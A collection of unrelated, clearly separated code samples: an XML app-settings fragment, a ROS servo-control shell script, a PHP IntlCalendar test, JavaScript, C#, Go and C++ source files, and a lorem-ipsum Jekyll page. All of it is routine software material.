  <ApplicationTitle>Figlut Mobile DataBox</ApplicationTitle>
  <ApplicationVersion>1.2.0.0</ApplicationVersion>
  <ThemeColor>SteelBlue</ThemeColor>
  <DataBoxSelectRowColor>SteelBlue</DataBoxSelectRowColor>
  <ApplicationBannerImageFilePath></ApplicationBannerImageFilePath>
  <ShapeColumnNames>true</ShapeColumnNames>
  <PrimaryColumnIndex>1</PrimaryColumnIndex>
  <HiddenTypeNames>
    <string>System.Guid</string>
    <string>System.Nullable`1[[System.Guid, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</string>
    <string>System.Byte[]</string>
  </HiddenTypeNames>
  <EntityIdColumnName>ENTITY_ID_A2382C02EF06497A9BBFE4DB3C8290A8</EntityIdColumnName>
  <HideEntityIdColumn>true</HideEntityIdColumn>
  <TreatZeroAsNull>true</TreatZeroAsNull>
  <CloseAddWindowAfterAdd>false</CloseAddWindowAfterAdd>
  <DatabaseSchemaFileName>FiglutDatabaseSchema.xml</DatabaseSchemaFileName>
  <UseExtensions>false</UseExtensions>
  <ExtensionAssemblyName>Figlut.Extensions.dll</ExtensionAssemblyName>
  <CrudInterceptorFullTypeName>Figlut.Extensions.CrudInterceptor</CrudInterceptorFullTypeName>
  <MainMenuExtentionFullTypeName>Figlut.Extensions.MainMenuExtension</MainMenuExtentionFullTypeName>
  <LogToFile>true</LogToFile>
  <LogFileName>Figlut.Mobile.DataBox.Log.txt</LogFileName>
  <LoggingLevel>Maximum</LoggingLevel>
</FiglutMonoDroidDataBoxSettings>


text:
roslaunch dynamixel_controllers controller.launch

rostopic pub /motore_1_controller/command std_msgs/Float64 "data: 3.14" -1

rostopic pub /motore_2_controller/command std_msgs/Float64 "data: 3.14" -1

rostopic pub /motore_3_controller/command std_msgs/Float64 "data: 3.14" -1

rostopic pub /motore_4_controller/command std_msgs/Float64 "data: 3.14" -1

sleep 5

rosnode kill dynamixel_manager
sleep 3
rosrun dynamixel_driver set_torque.py --port=/dev/ttyUSB0 --baud 57600 1 Off
sleep 3
rosrun dynamixel_driver set_torque.py --port=/dev/ttyUSB0 --baud 57600 2 Off
sleep 3
rosrun dynamixel_driver set_torque.py --port=/dev/ttyUSB0 --baud 57600 3 Off
sleep 3
rosrun dynamixel_driver set_torque.py --port=/dev/ttyUSB0 --baud 57600 4 Off

#spegnere tutti i motori alla fine della dimostrazione


text:
IntlCalendar::clear() basic test
--SKIPIF--
<?php
if (!extension_loaded('intl'))
	die('skip intl extension not enabled');
--FILE--
<?php
ini_set("intl.error_level", E_WARNING);
ini_set("intl.default_locale", "nl");

$intlcal = IntlCalendar::createInstance('UTC');
var_dump($intlcal->clear());
var_dump(
	$intlcal->get(IntlCalendar::FIELD_YEAR),
	$intlcal->get(IntlCalendar::FIELD_MONTH),
	$intlcal->get(IntlCalendar::FIELD_DAY_OF_MONTH),
	$intlcal->get(IntlCalendar::FIELD_HOUR),
	$intlcal->get(IntlCalendar::FIELD_MINUTE),
	$intlcal->get(IntlCalendar::FIELD_SECOND),
	$intlcal->get(IntlCalendar::FIELD_MILLISECOND)
);

$intlcal2 = IntlCalendar::createInstance('Europe/Amsterdam');
intlcal_clear($intlcal2, null);
var_dump($intlcal2->getTime());

?>
==DONE==
--EXPECT--
bool(true)
int(1970)
int(0)
int(1)
int(0)
int(0)
int(0)
int(0)
float(-3600000)
==DONE==


text:
Controllers.speakers = (function() {
	var _name = "speakers";

	var index = function(view) {
		var _lastName = compose(last, split(" "), '.name');
		App.db.find(_name, {}, compose(view, groupBy(compose(first, Formatter.titleize, _lastName)), reverse, sortBy(_lastName)));
	};

	var show = function(view, params) {
		App.db.find(_name, {id: params.id}, compose(view, first));
	}

	return {index : index, show : show}
})();


text:
using System;
using System.Collections.Generic;

namespace DertInfo.Models.Database
{
    public partial class ScoreSet : DatabaseEntity_WithPermissions
    {
        public ScoreSet()
        {
            JudgeSlots = new HashSet<JudgeSlot>();
            ScoreSetScoreCategories = new HashSet<ScoreSetScoreCategory>();
        }

        public int CompetitionId { get; set; }
        public string Name { get; set; }
        public string Description { get; set; }

        public virtual ICollection<JudgeSlot> JudgeSlots { get; set; }
        public virtual ICollection<ScoreSetScoreCategory> ScoreSetScoreCategories { get; set; }
        public virtual Competition Competition { get; set; }
    }
}


text:
package collector

import (
	"github.com/StackExchange/wmi"
	"github.com/prometheus/client_golang/prometheus"
	"github.com/prometheus/common/log"
)

func init() {
	registerCollector("netframework_clrremoting", NewNETFramework_NETCLRRemotingCollector)
}

// A NETFramework_NETCLRRemotingCollector is a Prometheus collector for WMI Win32_PerfRawData_NETFramework_NETCLRRemoting metrics
type NETFramework_NETCLRRemotingCollector struct {
	Channels                  *prometheus.Desc
	ContextBoundClassesLoaded *prometheus.Desc
	ContextBoundObjects       *prometheus.Desc
	ContextProxies            *prometheus.Desc
	Contexts                  *prometheus.Desc
	TotalRemoteCalls          *prometheus.Desc
}

// NewNETFramework_NETCLRRemotingCollector ...
func NewNETFramework_NETCLRRemotingCollector() (Collector, error) {
	const subsystem = "netframework_clrremoting"
	return &NETFramework_NETCLRRemotingCollector{
		Channels: prometheus.NewDesc(
			prometheus.BuildFQName(Namespace, subsystem, "channels_total"),
			"Displays the total number of remoting channels registered across all application domains since application started.",
			[]string{"process"},
			nil,
		),
		ContextBoundClassesLoaded: prometheus.NewDesc(
			prometheus.BuildFQName(Namespace, subsystem, "context_bound_classes_loaded"),
			"Displays the current number of context-bound classes that are loaded.",
			[]string{"process"},
			nil,
		),
		ContextBoundObjects: prometheus.NewDesc(
			prometheus.BuildFQName(Namespace, subsystem, "context_bound_objects_total"),
			"Displays the total number of context-bound objects allocated.",
			[]string{"process"},
			nil,
		),
		ContextProxies: prometheus.NewDesc(
			prometheus.BuildFQName(Namespace, subsystem, "context_proxies_total"),
			"Displays the total number of remoting proxy objects in this process since it started.",
			[]string{"process"},
			nil,
		),
		Contexts: prometheus.NewDesc(
			prometheus.BuildFQName(Namespace, subsystem, "contexts"),
			"Displays the current number of remoting contexts in the application.",
			[]string{"process"},
			nil,
		),
		TotalRemoteCalls: prometheus.NewDesc(
			prometheus.BuildFQName(Namespace, subsystem, "remote_calls_total"),
			"Displays the total number of remote procedure calls invoked since the application started.",
			[]string{"process"},
			nil,
		),
	}, nil
}

// Collect sends the metric values for each metric
// to the provided prometheus Metric channel.
func (c *NETFramework_NETCLRRemotingCollector) Collect(ctx *ScrapeContext, ch chan<- prometheus.Metric) error {
	if desc, err := c.collect(ch); err != nil {
		log.Error("failed collecting win32_perfrawdata_netframework_netclrremoting metrics:", desc, err)
		return err
	}
	return nil
}

type Win32_PerfRawData_NETFramework_NETCLRRemoting struct {
	Name string

	Channels                       uint32
	ContextBoundClassesLoaded      uint32
	ContextBoundObjectsAllocPersec uint32
	ContextProxies                 uint32
	Contexts                       uint32
	RemoteCallsPersec              uint32
	TotalRemoteCalls               uint32
}

func (c *NETFramework_NETCLRRemotingCollector) collect(ch chan<- prometheus.Metric) (*prometheus.Desc, error) {
	var dst []Win32_PerfRawData_NETFramework_NETCLRRemoting
	q := queryAll(&dst)
	if err := wmi.Query(q, &dst); err != nil {
		return nil, err
	}

	for _, process := range dst {

		if process.Name == "_Global_" {
			continue
		}

		ch <- prometheus.MustNewConstMetric(
			c.Channels,
			prometheus.CounterValue,
			float64(process.Channels),
			process.Name,
		)

		ch <- prometheus.MustNewConstMetric(
			c.ContextBoundClassesLoaded,
			prometheus.GaugeValue,
			float64(process.ContextBoundClassesLoaded),
			process.Name,
		)

		ch <- prometheus.MustNewConstMetric(
			c.ContextBoundObjects,
			prometheus.CounterValue,
			float64(process.ContextBoundObjectsAllocPersec),
			process.Name,
		)

		ch <- prometheus.MustNewConstMetric(
			c.ContextProxies,
			prometheus.CounterValue,
			float64(process.ContextProxies),
			process.Name,
		)

		ch <- prometheus.MustNewConstMetric(
			c.Contexts,
			prometheus.GaugeValue,
			float64(process.Contexts),
			process.Name,
		)

		ch <- prometheus.MustNewConstMetric(
			c.TotalRemoteCalls,
			prometheus.CounterValue,
			float64(process.TotalRemoteCalls),
			process.Name,
		)
	}

	return nil, nil
}


text:
namespace ozonewayland {

EventConverterInProcess::EventConverterInProcess()
    : EventConverterOzoneWayland(),
      observer_(NULL) {
}

EventConverterInProcess::~EventConverterInProcess() {
}

void EventConverterInProcess::MotionNotify(float x, float y) {
  gfx::Point position(x, y);
  scoped_ptr<ui::MouseEvent> mouseev(new ui::MouseEvent(ui::ET_MOUSE_MOVED,
                                                        position,
                                                        position,
                                                        0,
                                                        0));

  PostTaskOnMainLoop(base::Bind(
      &EventConverterInProcess::DispatchEventHelper, base::Passed(
          mouseev.PassAs<ui::Event>())));
}

void EventConverterInProcess::ButtonNotify(unsigned handle,
                                           ui::EventType type,
                                           ui::EventFlags flags,
                                           float x,
                                           float y) {
  gfx::Point position(x, y);
  scoped_ptr<ui::MouseEvent> mouseev(new ui::MouseEvent(type,
                                                        position,
                                                        position,
                                                        flags,
                                                        1));
  PostTaskOnMainLoop(base::Bind(
      &EventConverterInProcess::DispatchEventHelper, base::Passed(
          mouseev.PassAs<ui::Event>())));

  if (type == ui::ET_MOUSE_RELEASED)
    PostTaskOnMainLoop(base::Bind(
        &EventConverterInProcess::NotifyButtonPress, this, handle));
}

void EventConverterInProcess::AxisNotify(float x,
                                         float y,
                                         int xoffset,
                                         int yoffset) {
  gfx::Point position(x, y);
  ui::MouseEvent mouseev(ui::ET_MOUSEWHEEL, position, position, 0, 0);

  scoped_ptr<ui::MouseWheelEvent> wheelev(new ui::MouseWheelEvent(mouseev,
                                                                  xoffset,
                                                                  yoffset));

  PostTaskOnMainLoop(base::Bind(
      &EventConverterInProcess::DispatchEventHelper, base::Passed(
          wheelev.PassAs<ui::Event>())));
}

void EventConverterInProcess::PointerEnter(unsigned handle,
                                           float x,
                                           float y) {
  gfx::Point position(x, y);
  scoped_ptr<ui::MouseEvent> mouseev(new ui::MouseEvent(ui::ET_MOUSE_ENTERED,
                                                        position,
                                                        position,
                                                        0,
                                                        0));
  PostTaskOnMainLoop(base::Bind(
      &EventConverterInProcess::NotifyPointerEnter, this, handle));

  PostTaskOnMainLoop(base::Bind(
      &EventConverterInProcess::DispatchEventHelper, base::Passed(
          mouseev.PassAs<ui::Event>())));
}

void EventConverterInProcess::PointerLeave(unsigned handle,
                                           float x,
                                           float y) {
  gfx::Point position(x, y);
  scoped_ptr<ui::MouseEvent> mouseev(new ui::MouseEvent(ui::ET_MOUSE_EXITED,
                                                        position,
                                                        position,
                                                        0,
                                                        0));

  PostTaskOnMainLoop(base::Bind(
      &EventConverterInProcess::NotifyPointerLeave, this, handle));

  PostTaskOnMainLoop(base::Bind(
      &EventConverterInProcess::DispatchEventHelper, base::Passed(
          mouseev.PassAs<ui::Event>())));
}

void EventConverterInProcess::KeyNotify(ui::EventType type,
                                        unsigned code,
                                        unsigned modifiers) {
  scoped_ptr<ui::KeyEvent> keyev(new ui::KeyEvent(type,
      KeyboardCodeFromNativeKeysym(code), modifiers, true));

  keyev.get()->set_character(CharacterCodeFromNativeKeySym(code, modifiers));

  PostTaskOnMainLoop(base::Bind(
      &EventConverterInProcess::DispatchEventHelper, base::Passed(
          keyev.PassAs<ui::Event>())));
}

void EventConverterInProcess::CloseWidget(unsigned handle) {
  PostTaskOnMainLoop(base::Bind(
      &EventConverterInProcess::NotifyCloseWidget, this, handle));
}

void EventConverterInProcess::OutputSizeChanged(unsigned width,
                                                unsigned height) {
  PostTaskOnMainLoop(base::Bind(
      &EventConverterInProcess::NotifyOutputSizeChanged, this, width, height));
}

void EventConverterInProcess::SetWindowChangeObserver(
    WindowChangeObserver* observer) {
  observer_ = observer;
}

void EventConverterInProcess::SetOutputChangeObserver(
    OutputChangeObserver* observer) {
  output_observer_ = observer;
}

void EventConverterInProcess::NotifyPointerEnter(
    EventConverterInProcess* data, unsigned handle) {
  if (data->observer_)
    data->observer_->OnWindowEnter(handle);
}

void EventConverterInProcess::NotifyPointerLeave(
    EventConverterInProcess* data, unsigned handle) {
  if (data->observer_)
    data->observer_->OnWindowLeave(handle);
}

void EventConverterInProcess::NotifyButtonPress(
    EventConverterInProcess* data, unsigned handle) {
  if (data->observer_)
    data->observer_->OnWindowFocused(handle);
}

void EventConverterInProcess::NotifyCloseWidget(
    EventConverterInProcess* data, unsigned handle) {
  if (data->observer_)
    data->observer_->OnWindowClose(handle);
}

void
EventConverterInProcess::NotifyOutputSizeChanged(EventConverterInProcess* data,
                                                 unsigned width,
                                                 unsigned height) {
  if (data->output_observer_)
    data->output_observer_->OnOutputSizeChanged(width, height);
}

void EventConverterInProcess::DispatchEventHelper(
    scoped_ptr<ui::Event> key) {
  base::MessagePumpOzone::Current()->Dispatch(key.get());
}

}  // namespace ozonewayland


text:
layout: page
title: Township Alpha Motors Seminar
date: 2016-05-24
author: Betty Riley
tags: weekly links, java
status: published
summary: Nunc ultrices rhoncus laoreet. Nunc accumsan sed nulla vel.
banner: images/banner/meeting-01.jpg
booking:
  startDate: 01/15/2018
  endDate: 01/20/2018
  ctyhocn: AVLMRHX
  groupCode: TAMS
published: true
---
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Nam convallis consequat pretium. Pellentesque accumsan malesuada tortor. Mauris vel ligula ligula. Vivamus elementum, tellus et aliquam facilisis, mauris risus condimentum arcu, vel dictum lorem risus at metus. Curabitur ut auctor dolor, id iaculis massa. Nulla condimentum turpis eu massa suscipit, in molestie ipsum ultrices. Donec mi nibh, rutrum eget nunc at, hendrerit auctor dolor. Duis finibus eleifend maximus. Suspendisse gravida pharetra nunc, quis porttitor ante dapibus sit amet.
Nulla vel condimentum leo. Sed quis faucibus risus. Sed at massa eget neque ullamcorper ullamcorper id in purus. Pellentesque vestibulum luctus mi non laoreet. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Morbi mattis ut purus in lacinia. Interdum et malesuada fames ac ante ipsum primis in faucibus. Vivamus eu condimentum enim, sollicitudin tincidunt mi. Praesent dictum neque ante, in elementum augue imperdiet vel. Proin fringilla in quam vel rutrum. Praesent rutrum nibh at efficitur sagittis. Quisque volutpat hendrerit interdum.

* Donec sed augue volutpat, ultricies turpis id, accumsan libero
* Curabitur nec odio vel metus tempus porttitor et eget odio
* Aenean at dolor in est blandit ultricies quis sit amet purus
* Aenean sagittis nisl et consectetur blandit.

Nullam mollis leo et lacus luctus laoreet. Phasellus nec mauris est. Praesent eu est tristique nisi consequat tristique. Quisque facilisis purus ut massa semper, eget mattis ante congue. Donec non dignissim enim. Phasellus nec placerat nunc. Donec risus velit, facilisis sed egestas ut, iaculis ut felis. Nam quis turpis malesuada, consequat elit quis, consequat lectus. Proin at lorem at odio faucibus ornare sed facilisis nunc.